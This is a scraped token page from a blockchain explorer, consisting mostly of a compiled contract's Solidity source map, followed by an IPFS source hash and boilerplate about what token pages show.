;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13070:385;13015:440;:::o;13463:335::-;13576:8;;13544:55;;13561:4;;-1:-1:-1;;;;;13576:8:0;13587:11;13544:8;:55::i;:::-;13610:8;;13753:6;;13610:180;;-1:-1:-1;;;13610:180:0;;13675:4;13610:180;;;11174:34:1;11224:18;;;11217:34;;;13610:8:0;11267:18:1;;;11260:34;;;11310:18;;;11303:34;-1:-1:-1;;;;;13753:6:0;;;11353:19:1;;;11346:44;13774:15:0;11406:19:1;;;11399:35;13610:8:0;;;:24;;13642:9;;11108:19:1;;13610:180:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13463:335;;:::o;9817:231::-;9932:11;;9896:7;;-1:-1:-1;;;;;9932:11:0;;;9919:24;;;;9916:45;;-1:-1:-1;9952:7:0;;9945:14;;9916:45;9984:11;;-1:-1:-1;;;;;9984:11:0;;;9974:21;;;;9971:41;;-1:-1:-1;10004:6:0;;9997:13;;9971:41;-1:-1:-1;10029:11:0;;9817:231;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6262:127::-;6323:10;6318:3;6314:20;6311:1;6304:31;6354:4;6351:1;6344:15;6378:4;6375:1;6368:15;6394:128;6461:9;;;6482:11;;;6479:37;;;6496:18;;:::i;8803:125::-;8868:9;;;8889:10;;;8886:36;;;8902:18;;:::i;8933:168::-;9006:9;;;9037;;9054:15;;;9048:22;;9034:37;9024:71;;9075:18;;:::i;9106:217::-;9146:1;9172;9162:132;;9216:10;9211:3;9207:20;9204:1;9197:31;9251:4;9248:1;9241:15;9279:4;9276:1;9269:15;9162:132;-1:-1:-1;9308:9:1;;9106:217::o;9460:127::-;9521:10;9516:3;9512:20;9509:1;9502:31;9552:4;9549:1;9542:15;9576:4;9573:1;9566:15;9592:251;9662:6;9715:2;9703:9;9694:7;9690:23;9686:32;9683:52;;;9731:1;9728;9721:12;9683:52;9763:9;9757:16;9782:31;9807:5;9782:31;:::i;9848:980::-;10110:4;10158:3;10147:9;10143:19;10189:6;10178:9;10171:25;10215:2;10253:6;10248:2;10237:9;10233:18;10226:34;10296:3;10291:2;10280:9;10276:18;10269:31;10320:6;10355;10349:13;10386:6;10378;10371:22;10424:3;10413:9;10409:19;10402:26;;10463:2;10455:6;10451:15;10437:29;;10484:1;10494:195;10508:6;10505:1;10502:13;10494:195;;;10573:13;;-1:-1:-1;;;;;10569:39:1;10557:52;;10664:15;;;;10629:12;;;;10605:1;10523:9;10494:195;;;-1:-1:-1;;;;;;;10745:32:1;;;;10740:2;10725:18;;10718:60;-1:-1:-1;;;10809:3:1;10794:19;10787:35;10706:3;9848:980;-1:-1:-1;;;9848:980:1:o;11445:306::-;11533:6;11541;11549;11602:2;11590:9;11581:7;11577:23;11573:32;11570:52;;;11618:1;11615;11608:12;11570:52;11647:9;11641:16;11631:26;;11697:2;11686:9;11682:18;11676:25;11666:35;;11741:2;11730:9;11726:18;11720:25;11710:35;;11445:306;;;;;:::o

Swarm Source

ipfs://474258448a209a442299beffc642e12ed7b2dff17996953a934efcdde5ab0625
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.